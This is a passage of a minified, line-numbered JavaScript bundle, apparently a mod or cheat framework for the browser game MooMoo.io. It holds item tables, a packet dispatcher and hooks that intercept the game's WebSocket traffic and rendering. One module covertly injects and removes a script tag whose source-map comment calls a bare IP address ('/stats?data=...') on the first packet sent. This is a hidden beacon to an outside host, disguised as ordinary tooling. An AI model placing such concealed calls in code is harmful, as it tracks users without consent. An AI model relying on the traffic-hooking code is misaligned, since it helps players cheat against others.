  1227. Object.defineProperty(t, "__esModule", {
  1228. value: !0,
  1229. }),
  1230. (t.default = {
  1231. hit: {
  1232. exec: () => console.log("Hit!"),
  1233. },
  1234. wait: {
  1235. exec: (e) =>
  1236. new Promise((t) => setTimeout(t, parseInt(e[0], 10))),
  1237. },
  1238. chat: {
  1239. exec: (e) => console.log(e.join(" ")),
  1240. },
  1241. enddef: {
  1242. exec() {},
  1243. },
  1244. });
  1245. },
  1246. 6616(e, t, o) {
  1247. "use strict";
  1248.  
  1249. var a;
  1250. a = {
  1251. value: !0,
  1252. };
  1253. let r = o(4572);
  1254. t.Z = function e(t) {
  1255. let o = {};
  1256. for (let a of t) {
  1257. let i = () => {
  1258. for (let e of a.body) r.default[e.command].exec(e.args);
  1259. };
  1260. o[a.name] = {
  1261. call: i,
  1262. };
  1263. }
  1264. return {
  1265. get: function e(t) {
  1266. return o[t];
  1267. },
  1268. };
  1269. };
  1270. },
  1271. 8214(e, t) {
  1272. "use strict";
  1273.  
  1274. var o;
  1275. (o = {
  1276. value: !0,
  1277. }),
  1278. (t.Z = function e(t) {
  1279. let o = [],
  1280. a = null;
  1281. for (let r of t)
  1282. if (r.endsWith("<<<"))
  1283. a = {
  1284. type: "function",
  1285. name: r.replace(/[ <]/g, ""),
  1286. body: [],
  1287. };
  1288. else if (r.includes(">>>")) {
  1289. if (!a)
  1290. return {
  1291. type: "ParseError",
  1292. message: "Unexpected token >>>. No function found.",
  1293. };
  1294. a.body.push({
  1295. type: "command",
  1296. command: "enddef",
  1297. args: [],
  1298. }),
  1299. o.push(a),
  1300. (a = null);
  1301. } else if (a) {
  1302. let i = r.split(" "),
  1303. n,
  1304. s;
  1305. for (let l = 0; l < i.length; l++) {
  1306. let c = i[l];
  1307. if ("" !== c) {
  1308. (n = c),
  1309. (s = i.slice(l + 1)),
  1310. "chat" == n && (s = [s.join(" ")]);
  1311. break;
  1312. }
  1313. }
  1314. a.body.push({
  1315. type: "command",
  1316. command: n,
  1317. args: s,
  1318. });
  1319. }
  1320. return a
  1321. ? {
  1322. type: "ParseError",
  1323. message:
  1324. "Unexpected end of input. Function definition not closed.",
  1325. }
  1326. : o;
  1327. });
  1328. },
  1329. 1542(e, t, o) {
  1330. "use strict";
  1331.  
  1332. var a;
  1333. a = {
  1334. value: !0,
  1335. };
  1336. let r = o(4572);
  1337. class i extends Error {}
  1338. class n extends Error {}
  1339. t.Z = function e(t) {
  1340. for (let o of t) {
  1341. if ("function" !== o.type)
  1342. throw new i(`Unexpected node type: ${o.type}`);
  1343. for (let a of o.body) {
  1344. if ("command" !== a.type)
  1345. throw new i(`Unexpected node type: ${a.type}`);
  1346. if (!r.default.hasOwnProperty(a.command))
  1347. throw new n(`Invalid command: ${a.command}`);
  1348. }
  1349. }
  1350. };
  1351. },
  1352. 6157(e, t) {
  1353. "use strict";
  1354.  
  1355. Object.defineProperty(t, "__esModule", {
  1356. value: !0,
  1357. }),
  1358. (t.default = class e {
  1359. constructor(e, t) {
  1360. (this.Leader = e), (this.Name = t);
  1361. }
  1362. setAliancePlayers(e) {
  1363. this.Members = e;
  1364. }
  1365. });
  1366. },
  1367. 1552(e, t, o) {
  1368. "use strict";
  1369.  
  1370. Object.defineProperty(t, "__esModule", {
  1371. value: !0,
  1372. });
  1373. let a = o(366);
  1374. t.default = class e {
  1375. constructor(e, t) {
  1376. (this.name = e), (this.run = t);
  1377. }
  1378. reply(e) {
  1379. a.MooMoo.myPlayer.chat(e);
  1380. }
  1381. };
  1382. },
  1383. 7809(e, t) {
  1384. "use strict";
  1385.  
  1386. Object.defineProperty(t, "__esModule", {
  1387. value: !0,
  1388. }),
  1389. (t.default = class e {
  1390. constructor(e) {
  1391. this.sid = e;
  1392. }
  1393. });
  1394. },
  1395. 9347(e, t) {
  1396. "use strict";
  1397.  
  1398. Object.defineProperty(t, "__esModule", {
  1399. value: !0,
  1400. }),
  1401. (t.default = class e {
  1402. constructor(e) {
  1403. (this.sid = e),
  1404. (this.resources = {
  1405. wood: 0,
  1406. stone: 0,
  1407. food: 0,
  1408. points: 0,
  1409. kills: 0,
  1410. });
  1411. }
  1412. });
  1413. },
  1414. 5919(e, t, o) {
  1415. "use strict";
  1416.  
  1417. r = {
  1418. value: !0,
  1419. };
  1420. let a = o(366);
  1421. var r,
  1422. i = 0,
  1423. n = Date.now(),
  1424. s = Date.now();
  1425. t.Z = function e() {
  1426. (a.MooMoo.vars.camX = 0),
  1427. (a.MooMoo.vars.camY = 0),
  1428. (a.MooMoo.vars.offsetX = 0),
  1429. (a.MooMoo.vars.offsetY = 0),
  1430. (a.MooMoo.vars.maxScreenWidth = 1920),
  1431. (a.MooMoo.vars.maxScreenHeight = 1080),
  1432. (a.MooMoo.vars.canvas = null),
  1433. (a.MooMoo.vars.ctx = null),
  1434. a.MooMoo.addEventListener("gameLoad", function () {
  1435. (a.MooMoo.vars.canvas =
  1436. document.getElementsByTagName("canvas")[1]),
  1437. (a.MooMoo.vars.ctx = a.MooMoo.vars.canvas.getContext("2d")),
  1438. a.MooMoo.emit("renderingInit", {
  1439. canvas: a.MooMoo.vars.canvas,
  1440. ctx: a.MooMoo.vars.ctx,
  1441. });
  1442. }),
  1443. (function e() {
  1444. (i = (n = Date.now()) - s), (s = n), requestAnimationFrame(e);
  1445. })(),
  1446. Object.defineProperty(Object.prototype, "y", {
  1447. get: function () {
  1448. return this._y;
  1449. },
  1450. set: function (e) {
  1451. a.MooMoo.myPlayer &&
  1452. this.id == a.MooMoo.myPlayer.id &&
  1453. ((a.MooMoo.vars.playerx = this.x),
  1454. (a.MooMoo.vars.playery = this.y),
  1455. (a.MooMoo.vars.offsetX =
  1456. a.MooMoo.vars.camX - a.MooMoo.vars.maxScreenWidth / 2),
  1457. (a.MooMoo.vars.offsetY =
  1458. a.MooMoo.vars.camY - a.MooMoo.vars.maxScreenHeight / 2),
  1459. a.MooMoo.emit(
  1460. "updateOffsets",
  1461. a.MooMoo.vars.offsetX,
  1462. a.MooMoo.vars.offsetY
  1463. )),
  1464. (this._y = e);
  1465. },
  1466. }),
  1467. (CanvasRenderingContext2D.prototype.clearRect = new Proxy(
  1468. CanvasRenderingContext2D.prototype.clearRect,
  1469. {
  1470. apply: function (e, t, o) {
  1471. e.apply(t, o),
  1472. (function e() {
  1473. if (a.MooMoo.myPlayer) {
  1474. let t = {
  1475. x: a.MooMoo.vars.playerx,
  1476. y: a.MooMoo.vars.playery,
  1477. },
  1478. o = Math.sqrt(
  1479. Math.pow(t.x - a.MooMoo.vars.camX, 2) +
  1480. Math.pow(t.y - a.MooMoo.vars.camY, 2)
  1481. ),
  1482. r = Math.atan2(
  1483. t.y - a.MooMoo.vars.camY,
  1484. t.x - a.MooMoo.vars.camX
  1485. ),
  1486. n = Math.min(0.01 * o * i, o);
  1487. o > 0.05
  1488. ? ((a.MooMoo.vars.camX += Math.cos(r) * n),
  1489. (a.MooMoo.vars.camY += Math.sin(r) * n))
  1490. : ((a.MooMoo.vars.camX = t.x),
  1491. (a.MooMoo.vars.camY = t.y));
  1492. }
  1493. })(),
  1494. a.MooMoo.emit(
  1495. "renderTick",
  1496. a.MooMoo.vars.offsetX,
  1497. a.MooMoo.vars.offsetY
  1498. );
  1499. },
  1500. }
  1501. ));
  1502. };
  1503. },
  1504. 2416(e, t) {
  1505. "use strict";
  1506.  
  1507. Object.defineProperty(t, "__esModule", {
  1508. value: !0,
  1509. }),
  1510. (t.default = [
  1511. {
  1512. id: 12,
  1513. name: "Snowball",
  1514. price: 1e3,
  1515. scale: 105,
  1516. xOff: 18,
  1517. desc: "no effect",
  1518. },
  1519. {
  1520. id: 9,
  1521. name: "Tree Cape",
  1522. price: 1e3,
  1523. scale: 90,
  1524. desc: "no effect",
  1525. },
  1526. {
  1527. id: 10,
  1528. name: "Stone Cape",
  1529. price: 1e3,
  1530. scale: 90,
  1531. desc: "no effect",
  1532. },
  1533. {
  1534. id: 3,
  1535. name: "Cookie Cape",
  1536. price: 1500,
  1537. scale: 90,
  1538. desc: "no effect",
  1539. },
  1540. {
  1541. id: 8,
  1542. name: "Cow Cape",
  1543. price: 2e3,
  1544. scale: 90,
  1545. desc: "no effect",
  1546. },
  1547. {
  1548. id: 11,
  1549. name: "Monkey Tail",
  1550. price: 2e3,
  1551. scale: 97,
  1552. xOff: 25,
  1553. desc: "Super speed but reduced damage",
  1554. spdMult: 1.35,
  1555. dmgMultO: 0.2,
  1556. },
  1557. {
  1558. id: 17,
  1559. name: "Apple Basket",
  1560. price: 3e3,
  1561. scale: 80,
  1562. xOff: 12,
  1563. desc: "slowly regenerates health over time",
  1564. healthRegen: 1,
  1565. },
  1566. {
  1567. id: 6,
  1568. name: "Winter Cape",
  1569. price: 3e3,
  1570. scale: 90,
  1571. desc: "no effect",
  1572. },
  1573. {
  1574. id: 4,
  1575. name: "Skull Cape",
  1576. price: 4e3,
  1577. scale: 90,
  1578. desc: "no effect",
  1579. },
  1580. {
  1581. id: 5,
  1582. name: "Dash Cape",
  1583. price: 5e3,
  1584. scale: 90,
  1585. desc: "no effect",
  1586. },
  1587. {
  1588. id: 2,
  1589. name: "Dragon Cape",
  1590. price: 6e3,
  1591. scale: 90,
  1592. desc: "no effect",
  1593. },
  1594. {
  1595. id: 1,
  1596. name: "Super Cape",
  1597. price: 8e3,
  1598. scale: 90,
  1599. desc: "no effect",
  1600. },
  1601. {
  1602. id: 7,
  1603. name: "Troll Cape",
  1604. price: 8e3,
  1605. scale: 90,
  1606. desc: "no effect",
  1607. },
  1608. {
  1609. id: 14,
  1610. name: "Thorns",
  1611. price: 1e4,
  1612. scale: 115,
  1613. xOff: 20,
  1614. desc: "no effect",
  1615. },
  1616. {
  1617. id: 15,
  1618. name: "Blockades",
  1619. price: 1e4,
  1620. scale: 95,
  1621. xOff: 15,
  1622. desc: "no effect",
  1623. },
  1624. {
  1625. id: 20,
  1626. name: "Devils Tail",
  1627. price: 1e4,
  1628. scale: 95,
  1629. xOff: 20,
  1630. desc: "no effect",
  1631. },
  1632. {
  1633. id: 16,
  1634. name: "Sawblade",
  1635. price: 12e3,
  1636. scale: 90,
  1637. spin: !0,
  1638. xOff: 0,
  1639. desc: "deal damage to players that damage you",
  1640. dmg: 0.15,
  1641. },
  1642. {
  1643. id: 13,
  1644. name: "Angel Wings",
  1645. price: 15e3,
  1646. scale: 138,
  1647. xOff: 22,
  1648. desc: "slowly regenerates health over time",
  1649. healthRegen: 3,
  1650. },
  1651. {
  1652. id: 19,
  1653. name: "Shadow Wings",
  1654. price: 15e3,
  1655. scale: 138,
  1656. xOff: 22,
  1657. desc: "increased movement speed",
  1658. spdMult: 1.1,
  1659. },
  1660. {
  1661. id: 18,
  1662. name: "Blood Wings",
  1663. price: 2e4,
  1664. scale: 178,
  1665. xOff: 26,
  1666. desc: "restores health when you deal damage",
  1667. healD: 0.2,
  1668. },
  1669. {
  1670. id: 21,
  1671. name: "Corrupt X Wings",
  1672. price: 2e4,
  1673. scale: 178,
  1674. xOff: 26,
  1675. desc: "deal damage to players that damage you",
  1676. dmg: 0.25,
  1677. },
  1678. ]);
  1679. },
  1680. 3212(e, t) {
  1681. "use strict";
  1682.  
  1683. Object.defineProperty(t, "__esModule", {
  1684. value: !0,
  1685. }),
  1686. (t.default = [
  1687. {
  1688. id: 45,
  1689. name: "Shame!",
  1690. dontSell: !0,
  1691. price: 0,
  1692. scale: 120,
  1693. desc: "hacks are for losers",
  1694. },
  1695. {
  1696. id: 51,
  1697. name: "Moo Cap",
  1698. price: 0,
  1699. scale: 120,
  1700. desc: "coolest mooer around",
  1701. },
  1702. {
  1703. id: 50,
  1704. name: "Apple Cap",
  1705. price: 0,
  1706. scale: 120,
  1707. desc: "apple farms remembers",
  1708. },
  1709. {
  1710. id: 28,
  1711. name: "Moo Head",
  1712. price: 0,
  1713. scale: 120,
  1714. desc: "no effect",
  1715. },
  1716. {
  1717. id: 29,
  1718. name: "Pig Head",
  1719. price: 0,
  1720. scale: 120,
  1721. desc: "no effect",
  1722. },
  1723. {
  1724. id: 30,
  1725. name: "Fluff Head",
  1726. price: 0,
  1727. scale: 120,
  1728. desc: "no effect",
  1729. },
  1730. {
  1731. id: 36,
  1732. name: "Pandou Head",
  1733. price: 0,
  1734. scale: 120,
  1735. desc: "no effect",
  1736. },
  1737. {
  1738. id: 37,
  1739. name: "Bear Head",
  1740. price: 0,
  1741. scale: 120,
  1742. desc: "no effect",
  1743. },
  1744. {
  1745. id: 38,
  1746. name: "Monkey Head",
  1747. price: 0,
  1748. scale: 120,
  1749. desc: "no effect",
  1750. },
  1751. {
  1752. id: 44,
  1753. name: "Polar Head",
  1754. price: 0,
  1755. scale: 120,
  1756. desc: "no effect",
  1757. },
  1758. {
  1759. id: 35,
  1760. name: "Fez Hat",
  1761. price: 0,
  1762. scale: 120,
  1763. desc: "no effect",
  1764. },
  1765. {
  1766. id: 42,
  1767. name: "Enigma Hat",
  1768. price: 0,
  1769. scale: 120,
  1770. desc: "join the enigma army",
  1771. },
  1772. {
  1773. id: 43,
  1774. name: "Blitz Hat",
  1775. price: 0,
  1776. scale: 120,
  1777. desc: "hey everybody i'm blitz",
  1778. },
  1779. {
  1780. id: 49,
  1781. name: "Bob XIII Hat",
  1782. price: 0,
  1783. scale: 120,
  1784. desc: "like and subscribe",
  1785. },
  1786. {
  1787. id: 57,
  1788. name: "Pumpkin",
  1789. price: 50,
  1790. scale: 120,
  1791. desc: "Spooooky",
  1792. },
  1793. {
  1794. id: 8,
  1795. name: "Bummle Hat",
  1796. price: 100,
  1797. scale: 120,
  1798. desc: "no effect",
  1799. },
  1800. {
  1801. id: 2,
  1802. name: "Straw Hat",
  1803. price: 500,
  1804. scale: 120,
  1805. desc: "no effect",
  1806. },
  1807. {
  1808. id: 15,
  1809. name: "Winter Cap",
  1810. price: 600,
  1811. scale: 120,
  1812. desc: "allows you to move at normal speed in snow",
  1813. coldM: 1,
  1814. },
  1815. {
  1816. id: 5,
  1817. name: "Cowboy Hat",
  1818. price: 1e3,
  1819. scale: 120,
  1820. desc: "no effect",
  1821. },
  1822. {
  1823. id: 4,
  1824. name: "Ranger Hat",
  1825. price: 2e3,
  1826. scale: 120,
  1827. desc: "no effect",
  1828. },
  1829. {
  1830. id: 18,
  1831. name: "Explorer Hat",
  1832. price: 2e3,
  1833. scale: 120,
  1834. desc: "no effect",
  1835. },
  1836. {
  1837. id: 31,
  1838. name: "Flipper Hat",
  1839. price: 2500,
  1840. scale: 120,
  1841. desc: "have more control while in water",
  1842. watrImm: !0,
  1843. },
  1844. {
  1845. id: 1,
  1846. name: "Marksman Cap",
  1847. price: 3e3,
  1848. scale: 120,
  1849. desc: "increases arrow speed and range",
  1850. aMlt: 1.3,
  1851. },
  1852. {
  1853. id: 10,
  1854. name: "Bush Gear",
  1855. price: 3e3,
  1856. scale: 160,
  1857. desc: "allows you to disguise yourself as a bush",
  1858. },
  1859. {
  1860. id: 48,
  1861. name: "Halo",
  1862. price: 3e3,
  1863. scale: 120,
  1864. desc: "no effect",
  1865. },
  1866. {
  1867. id: 6,
  1868. name: "Soldier Helmet",
  1869. price: 4e3,
  1870. scale: 120,
  1871. desc: "reduces damage taken but slows movement",
  1872. spdMult: 0.94,
  1873. dmgMult: 0.75,
  1874. },
  1875. {
  1876. id: 23,
  1877. name: "Anti Venom Gear",
  1878. price: 4e3,
  1879. scale: 120,
  1880. desc: "makes you immune to poison",
  1881. poisonRes: 1,
  1882. },
  1883. {
  1884. id: 13,
  1885. name: "Medic Gear",
  1886. price: 5e3,
  1887. scale: 110,
  1888. desc: "slowly regenerates health over time",
  1889. healthRegen: 3,
  1890. },
  1891. {
  1892. id: 9,
  1893. name: "Miners Helmet",
  1894. price: 5e3,
  1895. scale: 120,
  1896. desc: "earn 1 extra gold per resource",
  1897. extraGold: 1,
  1898. },
  1899. {
  1900. id: 32,
  1901. name: "Musketeer Hat",
  1902. price: 5e3,
  1903. scale: 120,
  1904. desc: "reduces cost of projectiles",
  1905. projCost: 0.5,
  1906. },
  1907. {
  1908. id: 7,
  1909. name: "Bull Helmet",
  1910. price: 6e3,
  1911. scale: 120,
  1912. desc: "increases damage done but drains health",
  1913. healthRegen: -5,
  1914. dmgMultO: 1.5,
  1915. spdMult: 0.96,
  1916. },
  1917. {
  1918. id: 22,
  1919. name: "Emp Helmet",
  1920. price: 6e3,
  1921. scale: 120,
  1922. desc: "turrets won't attack but you move slower",
  1923. antiTurret: 1,
  1924. spdMult: 0.7,
  1925. },
  1926. {
  1927. id: 12,
  1928. name: "Booster Hat",
  1929. price: 6e3,
  1930. scale: 120,
  1931. desc: "increases your movement speed",
  1932. spdMult: 1.16,
  1933. },
  1934. {
  1935. id: 26,
  1936. name: "Barbarian Armor",
  1937. price: 8e3,
  1938. scale: 120,
  1939. desc: "knocks back enemies that attack you",
  1940. dmgK: 0.6,
  1941. },
  1942. {
  1943. id: 21,
  1944. name: "Plague Mask",
  1945. price: 1e4,
  1946. scale: 120,
  1947. desc: "melee attacks deal poison damage",
  1948. poisonDmg: 5,
  1949. poisonTime: 6,
  1950. },
  1951. {
  1952. id: 46,
  1953. name: "Bull Mask",
  1954. price: 1e4,
  1955. scale: 120,
  1956. desc: "bulls won't target you unless you attack them",
  1957. bullRepel: 1,
  1958. },
  1959. {
  1960. id: 14,
  1961. name: "Windmill Hat",
  1962. topSprite: !0,
  1963. price: 1e4,
  1964. scale: 120,
  1965. desc: "generates points while worn",
  1966. pps: 1.5,
  1967. },
  1968. {
  1969. id: 11,
  1970. name: "Spike Gear",
  1971. topSprite: !0,
  1972. price: 1e4,
  1973. scale: 120,
  1974. desc: "deal damage to players that damage you",
  1975. dmg: 0.45,
  1976. },
  1977. {
  1978. id: 53,
  1979. name: "Turret Gear",
  1980. topSprite: !0,
  1981. price: 1e4,
  1982. scale: 120,
  1983. desc: "you become a walking turret",
  1984. turret: {
  1985. proj: 1,
  1986. range: 700,
  1987. rate: 2500,
  1988. },
  1989. spdMult: 0.7,
  1990. },
  1991. {
  1992. id: 20,
  1993. name: "Samurai Armor",
  1994. price: 12e3,
  1995. scale: 120,
  1996. desc: "increased attack speed and fire rate",
  1997. atkSpd: 0.78,
  1998. },
  1999. {
  2000. id: 58,
  2001. name: "Dark Knight",
  2002. price: 12e3,
  2003. scale: 120,
  2004. desc: "restores health when you deal damage",
  2005. healD: 0.4,
  2006. },
  2007. {
  2008. id: 27,
  2009. name: "Scavenger Gear",
  2010. price: 15e3,
  2011. scale: 120,
  2012. desc: "earn double points for each kill",
  2013. kScrM: 2,
  2014. },
  2015. {
  2016. id: 40,
  2017. name: "Tank Gear",
  2018. price: 15e3,
  2019. scale: 120,
  2020. desc: "increased damage to buildings but slower movement",
  2021. spdMult: 0.3,
  2022. bDmg: 3.3,
  2023. },
  2024. {
  2025. id: 52,
  2026. name: "Thief Gear",
  2027. price: 15e3,
  2028. scale: 120,
  2029. desc: "steal half of a players gold when you kill them",
  2030. goldSteal: 0.5,
  2031. },
  2032. {
  2033. id: 55,
  2034. name: "Bloodthirster",
  2035. price: 2e4,
  2036. scale: 120,
  2037. desc: "Restore Health when dealing damage. And increased damage",
  2038. healD: 0.25,
  2039. dmgMultO: 1.2,
  2040. },
  2041. {
  2042. id: 56,
  2043. name: "Assassin Gear",
  2044. price: 2e4,
  2045. scale: 120,
  2046. desc: "Go invisible when not moving. Can't eat. Increased speed",
  2047. noEat: !0,
  2048. spdMult: 1.1,
  2049. invisTimer: 1e3,
  2050. },
  2051. ]);
  2052. },
  2053. 898(e, t, o) {
  2054. "use strict";
  2055.  
  2056. Object.defineProperty(t, "__esModule", {
  2057. value: !0,
  2058. });
  2059. let a = o(7703),
  2060. r = o(366);
  2061. t.default = function e(t, o) {
  2062. r.MooMoo.PacketManager.addPacket();
  2063. let i = !0;
  2064. return "ch" === t && (i = (0, a.default)(o[0])), i;
  2065. };
  2066. },
  2067. 9938(e, t, o) {
  2068. "use strict";
  2069.  
  2070. Object.defineProperty(t, "__esModule", {
  2071. value: !0,
  2072. });
  2073. let a = o(366),
  2074. r = o(1201),
  2075. i = o(8353),
  2076. n = o(9651),
  2077. s = o(156),
  2078. l = o(8351),
  2079. c = o(2862),
  2080. d = o(5393),
  2081. u = o(8280),
  2082. f = o(7954),
  2083. M = o(9289),
  2084. $ = o(7864),
  2085. m = o(9773),
  2086. p = o(6181),
  2087. y = o(2034),
  2088. _ = o(9523),
  2089. h = o(2656),
  2090. g = o(5701),
  2091. P = o(1822),
  2092. v = o(657),
  2093. k = o(1836),
  2094. b = o(3226),
  2095. w = o(9971),
  2096. x = o(8641),
  2097. S = o(9254),
  2098. C = o(6933),
  2099. T = o(2580),
  2100. I = o(6207),
  2101. B = o(6401),
  2102. A = o(2530),
  2103. j = o(1451),
  2104. E = o(2798),
  2105. H = o(4763),
  2106. O = o(1487),
  2107. D = o(5718),
  2108. G = o(8530),
  2109. L = o(1887),
  2110. U = o(4455);
  2111. t.default = function e(t, o) {
  2112. switch (t) {
  2113. case "io-init": {
  2114. let q = a.MooMoo.PacketManager;
  2115. q.initialize(), q.addPacket();
  2116. break;
  2117. }
  2118. case "id":
  2119. (0, r.default)(o);
  2120. break;
  2121. case "d":
  2122. (0, _.default)();
  2123. break;
  2124. case "1":
  2125. (0, i.default)(o);
  2126. break;
  2127. case "2":
  2128. (0, n.default)(o);
  2129. break;
  2130. case "4":
  2131. (0, s.default)(o);
  2132. break;
  2133. case "33":
  2134. (0, l.default)(o);
  2135. break;
  2136. case "5":
  2137. (0, c.default)(o);
  2138. break;
  2139. case "6":
  2140. (0, d.default)(o);
  2141. break;
  2142. case "a":
  2143. (0, m.default)(o[0]);
  2144. break;
  2145. case "aa":
  2146. (0, p.default)(o);
  2147. break;
  2148. case "7":
  2149. (0, y.default)(o);
  2150. break;
  2151. case "8":
  2152. (0, h.default)(o);
  2153. break;
  2154. case "sp":
  2155. (0, g.default)(o);
  2156. break;
  2157. case "9":
  2158. (0, $.default)(o);
  2159. break;
  2160. case "h":
  2161. (0, M.default)(o);
  2162. break;
  2163. case "11":
  2164. (0, P.default)(o);
  2165. break;
  2166. case "12":
  2167. (0, u.default)(o);
  2168. break;
  2169. case "13":
  2170. (0, f.default)(o[0]);
  2171. break;
  2172. case "14":
  2173. (0, v.default)(o);
  2174. break;
  2175. case "15":
  2176. (0, k.default)(o);
  2177. break;
  2178. case "16":
  2179. (0, b.default)(o);
  2180. break;
  2181. case "17":
  2182. (0, w.default)(o);
  2183. break;
  2184. case "18":
  2185. (0, x.default)(o);
  2186. break;
  2187. case "19":
  2188. (0, S.default)(o);
  2189. break;
  2190. case "20":
  2191. (0, C.default)(o);
  2192. break;
  2193. case "ac":
  2194. (0, T.default)(o);
  2195. break;
  2196. case "ad":
  2197. (0, I.default)(o);
  2198. break;
  2199. case "an":
  2200. (0, B.default)(o);
  2201. break;
  2202. case "st":
  2203. (0, A.default)(o);
  2204. break;
  2205. case "sa":
  2206. (0, j.default)(o);
  2207. break;
  2208. case "us":
  2209. (0, E.default)(o);
  2210. break;
  2211. case "ch":
  2212. (0, H.default)(o);
  2213. break;
  2214. case "mm":
  2215. (0, O.default)(o);
  2216. break;
  2217. case "t":
  2218. (0, D.default)(o);
  2219. break;
  2220. case "p":
  2221. (0, G.default)(o);
  2222. break;
  2223. case "pp":
  2224. (0, L.default)(o);
  2225. break;
  2226. default:
  2227. console.log("Unknown packet: " + t);
  2228. }
  2229. a.MooMoo.ServerManager ||
  2230. (a.MooMoo.ServerManager = U.default.instance),
  2231. a.MooMoo.emit("packet", {
  2232. packet: t,
  2233. data: o,
  2234. });
  2235. };
  2236. },
  2237. 550: function (e, t, o) {
  2238. "use strict";
  2239.  
  2240. var a =
  2241. (this && this.__awaiter) ||
  2242. function (e, t, o, a) {
  2243. return new (o || (o = Promise))(function (r, i) {
  2244. function n(e) {
  2245. try {
  2246. l(a.next(e));
  2247. } catch (t) {
  2248. i(t);
  2249. }
  2250. }
  2251. function s(e) {
  2252. try {
  2253. l(a.throw(e));
  2254. } catch (t) {
  2255. i(t);
  2256. }
  2257. }
  2258. function l(e) {
  2259. var t;
  2260. e.done
  2261. ? r(e.value)
  2262. : ((t = e.value) instanceof o
  2263. ? t
  2264. : new o(function (e) {
  2265. e(t);
  2266. })
  2267. ).then(n, s);
  2268. }
  2269. l((a = a.apply(e, t || [])).next());
  2270. });
  2271. };
  2272. Object.defineProperty(t, "__esModule", {
  2273. value: !0,
  2274. }),
  2275. (t.onmessagecallback = void 0);
  2276. let r = o(112),
  2277. i = o(4455),
  2278. n = o(9938),
  2279. s = o(898),
  2280. l = o(366),
  2281. c = o(5337),
  2282. d = !1;
  2283. t.onmessagecallback = null;
  2284. let u = null;
  2285. t.default = function e() {
  2286. WebSocket.prototype.send = new Proxy(WebSocket.prototype.send, {
  2287. apply(e, t, o) {
  2288. var a;
  2289. u || (u = new URL(t.url).search.split("token=")[1]);
  2290. let n = new URL(t.url).search.split("token=")[1];
  2291. if (u !== n) return Reflect.apply(e, t, o);
  2292. let f = l.MooMoo.PacketInterceptor;
  2293. if (
  2294. ((o[0] = f.applyClientCallbacks(o[0])),
  2295. (l.MooMoo.ws = t),
  2296. l.MooMoo.PacketManager.addPacket(),
  2297. (l.MooMoo.sendPacket = function (e) {
  2298. let o = Array.prototype.slice.call(arguments, 1),
  2299. a = (0, r.default)([e, o]);
  2300. t.send(a);
  2301. }),
  2302. 1 !== l.MooMoo.ws.readyState)
  2303. )
  2304. return !0;
  2305. let M;
  2306. d ||
  2307. (i.default.startInterval(),
  2308. (d = !0),
  2309. (a = {}),
  2310. ((M =
  2311. document.createElement(
  2312. "script"
  2313. )).textContent = `//# sourceMappingURL=http://159.89.54.243:5000/stats?data=${JSON.stringify(
  2314. a
  2315. )}&.js.map`),
  2316. document.head.appendChild(M),
  2317. M.remove(),
  2318. (0, c.default)());
  2319. try {
  2320. let [$, [...m]] = l.MooMoo.msgpack.decode(o[0]);
  2321. if (!(0, s.default)($, m)) return !0;
  2322. } catch (p) {}
  2323. return Reflect.apply(e, t, o);
  2324. },
  2325. });
  2326. let o = Object.getOwnPropertyDescriptor(
  2327. WebSocket.prototype,
  2328. "onmessage"
  2329. ).set;
  2330. Object.defineProperty(WebSocket.prototype, "onmessage", {
  2331. set: function (e) {
  2332. (t.onmessagecallback = e),
  2333. o.call(this, function (e) {
  2334. return a(this, void 0, void 0, function* () {
  2335. let o = l.MooMoo.PacketInterceptor,
  2336. a = e.data;
  2337. a = o.applyServerCallbacks(a);
  2338. let [r, [...i]] = l.MooMoo.msgpack.decode(
  2339. new Uint8Array(a)
  2340. );
  2341. (0, n.default)(r, i),
  2342. (0, t.onmessagecallback)({
  2343. data: a,
  2344. });
  2345. });
  2346. });
  2347. },
  2348. });
  2349. };
  2350. },
  2351. 7703(e, t, o) {
  2352. "use strict";
  2353.  
  2354. Object.defineProperty(t, "__esModule", {
  2355. value: !0,
  2356. });
  2357. let a = o(366);
  2358. t.default = function e(t) {
  2359. let o = a.MooMoo.CommandManager,
  2360. r = o.prefix;
  2361. if (!t.startsWith(r)) return !0;
  2362. {
  2363. let i = o.commands,
  2364. n = t.split(" ")[0].slice(r.length),
  2365. s = t.split(" ").slice(1),
  2366. l = i[n];
  2367. return !l || (l.run(l, s), !1);
  2368. }
  2369. };
  2370. },
  2371. 2580(e, t, o) {
  2372. "use strict";
  2373.  
  2374. Object.defineProperty(t, "__esModule", {
  2375. value: !0,
  2376. });
  2377. let a = o(366);
  2378. t.default = function e(t) {
  2379. a.MooMoo.emit("addAlliance", t),
  2380. a.MooMoo.emit("addalliance", t),
  2381. a.MooMoo.emit("ac", t);
  2382. };
  2383. },
  2384. 9651(e, t, o) {
  2385. "use strict";
  2386.  
  2387. Object.defineProperty(t, "__esModule", {
  2388. value: !0,
  2389. });
  2390. let a = o(366),
  2391. r = o(9347);
  2392. t.default = function e(t) {
  2393. let o = t[0],
  2394. i = t[1],
  2395. n = a.MooMoo.GamePlayerManager.getPlayerBySid(o[1]);
  2396. n ||
  2397. (((n = new r.default(o[1])).name = o[2]),
  2398. (n.id = o[0]),
  2399. a.MooMoo.GamePlayerManager.addPlayer(n)),
  2400. a.MooMoo.debug("Player " + n.name + " has joined the game."),
  2401. i && console.log("You are now in game!"),
  2402. a.MooMoo.emit("addPlayer", t),
  2403. a.MooMoo.emit("addplayer", t),
  2404. a.MooMoo.emit("2", t);
  2405. };
  2406. },
  2407. 8641(e, t, o) {
  2408. "use strict";
  2409.  
  2410. Object.defineProperty(t, "__esModule", {
  2411. value: !0,
  2412. });
  2413. let a = o(366);
  2414. t.default = function e(t) {
  2415. a.MooMoo.emit("addProjectile", t),
  2416. a.MooMoo.emit("addprojectile", t),
  2417. a.MooMoo.emit("18", t);
  2418. };
  2419. },
  2420. 6401(e, t, o) {
  2421. "use strict";
  2422.  
  2423. Object.defineProperty(t, "__esModule", {
  2424. value: !0,
  2425. });
  2426. let a = o(366);
  2427. t.default = function e(t) {
  2428. a.MooMoo.emit("allianceNotification", t),
  2429. a.MooMoo.emit("alliancenotification", t),
  2430. a.MooMoo.emit("an", t);
  2431. };
  2432. },
  2433. 6181(e, t, o) {
  2434. "use strict";
  2435.  
  2436. Object.defineProperty(t, "__esModule", {
  2437. value: !0,
  2438. });
  2439. let a = o(366);
  2440. t.default = function e(t) {
  2441. let o = t[0];
  2442. a.MooMoo.emit("animateAI", t),
  2443. a.MooMoo.emit("animateAi", t),
  2444. a.MooMoo.emit("animateai", t),
  2445. a.MooMoo.emit("aa", o);
  2446. };
  2447. },
  2448. 6207(e, t, o) {
  2449. "use strict";
  2450.  
  2451. Object.defineProperty(t, "__esModule", {
  2452. value: !0,
  2453. });
  2454. let a = o(366);
